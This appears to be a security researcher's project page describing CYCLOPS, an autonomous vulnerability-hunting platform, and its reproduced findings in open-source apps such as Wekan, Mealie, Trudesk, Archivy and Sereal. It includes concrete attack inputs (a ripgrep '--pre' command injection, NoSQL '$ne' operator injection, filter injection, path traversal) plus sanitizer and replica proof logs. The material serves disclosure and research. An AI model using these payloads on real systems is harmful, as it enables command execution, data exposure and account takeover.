CYCLOPS
Autonomous source-to-exploit research. One rule: nothing gets reported unless a deterministic test could reproduce it.

Autonomous source-to-exploit research. One rule: nothing gets reported unless a deterministic test could reproduce it.

Authorized research only. All targets are open-source projects audited in local sandboxes or faithfully-reproduced replicas. No live exploitation of third-party production instances was performed. Full tooling source is kept private; this page describes the methodology and representative findings (sanitized).
CYCLOPS is an autonomous security research platform I built to do systematic source-to-exploit audits of open-source software. The system maps a target's attack surface, generates hypotheses about authorization, authentication, and memory-safety defects, drafts proofs-of-concept, and only advances a finding when a deterministic test confirms it: sanitizer output, a live SQL row, or an executed shell command. That last step is the entire design constraint. A finding that can't be reproduced doesn't get reported.
Over a concentrated research sprint across 20+ targets, the platform produced 17 reproduced findings spanning web application access-control, SSRF, path traversal, CLI argument injection, memory-safety, and authentication bypass across Node, Python, Go, and C++ codebases. It also caught its own errors: one SMD loader candidate was withdrawn after a dynamic test proved the claimed code path was unreachable.
The hardest part of automated security research isn't generating hypotheses. It's not believing the wrong ones. CYCLOPS enforces a three-tier proof taxonomy:
An independent adversarial audit of 25 findings caught 6 severity over-statements (memory-safety issues labeled HIGH when demonstrated impact was read-only DoS) and one under-statement (a path traversal that was unauthenticated by default, not conditional). The audit also confirmed that a NoSQL injection I had pinged as account takeover didn't actually complete: the JWT mint function was miswired and returned a 500. The ping was retracted. That kind of self-correction is the whole point.
62 findings reviewed across 25+ targets. Of those:
Self-corrections worth naming:
- CYCLOPS-2026-0014 (Trudesk NoSQL injection): the $ne-null operator injection is real and executed, but the downstream JWT mint was miswired. generateJWTToken is callback-style awaited without a callback, so the endpoint returned a 500 instead of a token. The "account takeover" claim was retracted; the injection component stands.
- SMD loader (sibling of CYCLOPS-2026-0004): the AddBoneChildren recursion only visited valid indices; the crafted .smd imported cleanly under ASan. Excluded entirely.
- Three candidates rejected by the authz table pass as false positives: a statistic stub with no data path, a route already gated behind an admin token, and a second-order chain that required the attacker to be an existing admin. None reached the report stage.
Archivy ripgrep argument injection (HIGH). The most direct finding. rg_cmd = ['rg', '-it', 'md', '--json', query, datadir] passes the search query positional with no -e separator and no -- terminator. A request to ?query=--pre=<cmd> causes ripgrep to execute an arbitrary command as the web server's user. Tested end-to-end on real ripgrep 14.1.1; the command ran.
Wekan unauthenticated instance takeover (HIGH). POST /api/createtoken/:userId calls an async auth guard without await in a synchronous try/catch. An async function never throws synchronously (it returns a rejected promise), so the guard's rejection lands on a detached promise while execution falls through to Accounts._insertLoginToken(id, token), which persists and returns a usable login token for any userId including admin. The REST API is enabled by default in the snap build and the shipped docker-compose. A faithful Node.js replica confirmed both an unauthenticated and a low-privilege caller receive the admin token; the guard's rejections fire after the response.
Mealie queryFilter logical injection (MEDIUM, unauthenticated). The public explore API string-concatenates the user-supplied queryFilter into a DSL: f"({q.query_filter}) AND {public_filter}". Mealie's QueryFilterBuilder consolidates groups right-associatively. Submitting name <> "zzz") OR (name <> "zzz" produces a WHERE clause that is true for every row, demoting the privateHousehold=FALSE AND public=TRUE gate into one OR-branch. Confirmed by running the real QueryFilterBuilder and inspecting the generated SQL and live SQLite output.
Assimp HL1 MDL bone-index OOB (MEDIUM). temp_bones_[pbone[i].parent] uses a file-controlled int32_t value with no bounds check. ASan aborted at HL1MDLLoader.cpp:472 with a heap-buffer-overflow 640 bytes past a 160-byte allocation. A second sink at :1222 (read_attachments) triggered independently. Unreported instances of the known unchecked-index class in this loader family; no dedicated CVE.
# controller_public_recipes.py: public explore endpoint
public_filter = "(household.preferences.privateHousehold = FALSE AND settings.public = TRUE)"
if q.query_filter:
q.query_filter = f"({q.query_filter}) AND {public_filter}" # attacker controls q.query_filter
# Attacker submits: name <> "zzz") OR (name <> "zzz"
# f-string builds:
# (name <> "zzz") OR (name <> "zzz") AND (household.preferences.privateHousehold = FALSE AND settings.public = TRUE)
#
# QueryFilterBuilder._consolidate_group iterates reversed(group), right-associative:
# -> A OR (B AND PUBLIC_GATE)
# -> With A = always-true predicate, every row matches.
# The public/private gate no longer constrains the result set.
# Proof: ran on the real QueryFilterBuilder with a SQLite session.
# Generated WHERE: (name <> 'zzz') OR ((name <> 'zzz') AND (...))
# Rows returned: ALL recipes in the group, including private-household ones.
Five of the 17 reproduced findings are memory-safety defects in C and C++ parser code, confirmed by AddressSanitizer or valgrind. The terminal-recording GIFs below show actual sanitizer runs, not mocked output.
CYCLOPS-2026-0001: Sereal::Merger heap OOB read (valgrind, 3 sinks)
Sereal::Merger processes each document in two passes. Pass 1 (srl_build_track_table) advances the cursor over SHORT_BINARY tags with no bounds check. Pass 2 copies with srl_buf_copy_content_nocheck, justified by a comment claiming pass 1 already validated the lengths. For SHORT_BINARY and fixed-width numeric tags, it never did. Three distinct sinks all confirmed with valgrind --error-exitcode=99, exit code 99. Adjacent heap bytes are copied into the merged output document: the live heap leak demonstrated across three consecutive runs shows different bytes each time, confirming real process memory crossing the trust boundary. The Decoder sibling (patched CVE-2026-8796) and Path::Iterator sibling (has SRL_RDR_ASSERT_SPACE) are both safe; the Merger alone substituted the _nocheck path.
CYCLOPS-2026-0005: Sereal Ruby C ext signed-length OOB (ASan)
In buffer.h:142, s_get_p_req_inclusive takes int req (signed). The check req > 0 ? req-1 : 0 evaluates to 0 when len >= 0x80000000, skipping the bounds test. rb_str_new(ptr, len) then reads ~2 GB from a small buffer. The rejected control (0x10000000, a positive large value) fires the bounds check correctly, isolating the signedness bypass as the sole defect.
CYCLOPS-2026-0002/0003/0004: Assimp HL1 MDL, MMD/PMX, MD5 loader OOB
Three independent unchecked array-index reads (and one OOB write, analysis-derived) across Assimp 6.0.5's parser family. All three triggered via the standard Assimp::Importer::ReadFile API with crafted input files. Unreported instances of the known unchecked-index class in these loaders; no dedicated CVE assigned to any.
doc hex=3df3726c050074 len=7 # header + single SHORT_BINARY tag claiming 20 bytes, 0 follow
==9512== Invalid read of size 8
==9512== at 0x54BC9FB: srl_merge_single_value.isra.0 (.../Sereal/Merger/Merger.so)
==9512== by 0x54C2CE8: srl_merger_append (.../Merger.so)
==9512== by 0x54B5617: XS_Sereal__Merger_append (.../Merger.so)
==9512== Address 0x502ad66 is 6 bytes inside a block of size 10 alloc'd <- tag byte (in-bounds)
==9512== Invalid read of size 8
==9512== at 0x54BCA09: srl_merge_single_value.isra.0 (.../Merger.so)
==9512== by 0x54C2CE8: srl_merger_append (.../Merger.so)
==9512== Address 0x502ad73 is 9 bytes after a block of size 10 alloc'd <- OOB READ past input buffer
valgrind --error-exitcode=99 exit code: 99 (confirmed on all 3 sinks: SHORT_BINARY, FLOAT, REGEXP)
# Live heap info-leak: trailing bytes of merged output, 3 consecutive runs:
run 1 leaked heap -> [.................1...........B]
run 2 leaked heap -> [.................1.........0.]
run 3 leaked heap -> [.................1........s..Na]
=== CYCLOPS-2026-0042 Wekan un-awaited-async-guard bypass: REPLICA proof ===
[UNAUTH] POST /api/createtoken/admin-id (req.userId=undefined)
response: {"_id":"admin-id","authToken":"tok_admin-id_0"}
[LOWPRIV] POST /api/createtoken/admin-id (req.userId=bob-lowpriv)
response: {"_id":"admin-id","authToken":"tok_admin-id_1"}
[detached unhandled rejections fired AFTER the response: 2]
Tokens actually minted (would authenticate as that user):
{"userId":"admin-id","token":"tok_admin-id_0"}
{"userId":"admin-id","token":"tok_admin-id_1"}
RESULT:
unauth response carried an admin authToken : true
lowpriv response carried an admin authToken: true
admin login token was persisted (usable) : true
=> BYPASS CONFIRMED: the async guard rejected on a DETACHED promise (caught by neither
the sync try/catch nor any awaiter); the token-mint sink ran and returned a usable
admin login token to BOTH an unauthenticated and a low-priv caller. Full ATO.
CYCLOPS-2026-0014: Trudesk unauthenticated NoSQL operator injection (MEDIUM)
POST /api/v2/token has no authentication middleware. The handler extracts req.body.refreshToken, checks only if (!refreshToken) (truthy check, so an object passes), then calls getUserByAccessToken(token) which runs findOne({ accessToken: token, deleted: false }) with no string coercion and no express-mongo-sanitize. Posting {"refreshToken":{"$ne":null}} selects the first accessToken-holding user. Executed: the operator injection returns the expected user record. The downstream JWT mint is miswired (callback-style generateJWTToken awaited without a callback → 500), so the "account takeover" claim was retracted and the ping pulled. The injection primitive itself is real and executed. Presenting it as such.
CYCLOPS-2026-0027: Mealie shopping-list cross-tenant IDOR (MEDIUM)
Mealie centralizes multi-tenant isolation in RepositoryGeneric._filter_builder(), which scopes reads to group_id and household_id. But update_many() and delete_many() build their queries from the unscoped _query(), filtering only by id.in_(...). There is also a SQLAlchemy 2.0 no-op in _query(): q.filter(...) returns a new Select that gets discarded. End-to-end detonation via a faithful-replica (SQLAlchemy 2.0.50 + SQLite, two tenants): reads stay scoped, cross-tenant update_many and delete_many both commit against the foreign row. The attacker's own item is untouched (confirming it is the absent scope, not a global wipe).
CYCLOPS-2026-0025: Realms-Wiki unauthenticated path traversal write (HIGH)
sanitize() and to_canonical() operate on a denylist that filters empty path segments but does not strip . or / characters. A page name of ../../etc/somefile survives sanitization, and path.join(wiki_root, name) escapes the wiki directory. Write, overwrite, delete, and rename all reach arbitrary .md paths. The @login_required decorator is applied via ALLOW_ANON, which is True by default, so the traversal is unauthenticated on a default install. Executed in sandbox: escaped the wiki root, overwrote a victim file.
[legit] correct refreshToken string -> { token: 'JWT(sub=admin1, role=admin)' }
[wrong] guessed string -> 401
[ATTACK] {"$ne":null} -> { token: 'JWT(sub=admin1, role=admin)' } <-- operator injection selects admin user
[ATTACK] {"$gt":""} -> { token: 'JWT(sub=admin1, role=admin)' }
# Note: downstream JWT mint is miswired in this target (generateJWTToken callback-style,
# awaited without callback -> 500). Operator injection is real and executed; ATO does
# not complete against the real target. Severity: MEDIUM (injection primitive, not ATO).
Terminal recordings of the actual sanitizer runs. Each GIF shows: root cause in source, crafted input construction, sanitizer invocation, and the abort or valgrind error output. These are not simulated. They are the real rg --error-exitcode / ./poc_harness / valgrind -q runs captured at the time of discovery.




Working through 20+ targets at this depth required building reusable methods for each bug class:
async guard called without await in a synchronous handler never throws. Its rejection detaches. The Wekan finding was the Tier-0 instance; three additional sites of the same pattern were found in the same codebase.f"... AND {security_filter}".-e or -- separators accept flags. rg --pre, nmap --script, find -exec, and similar RCE primitives are reachable this way.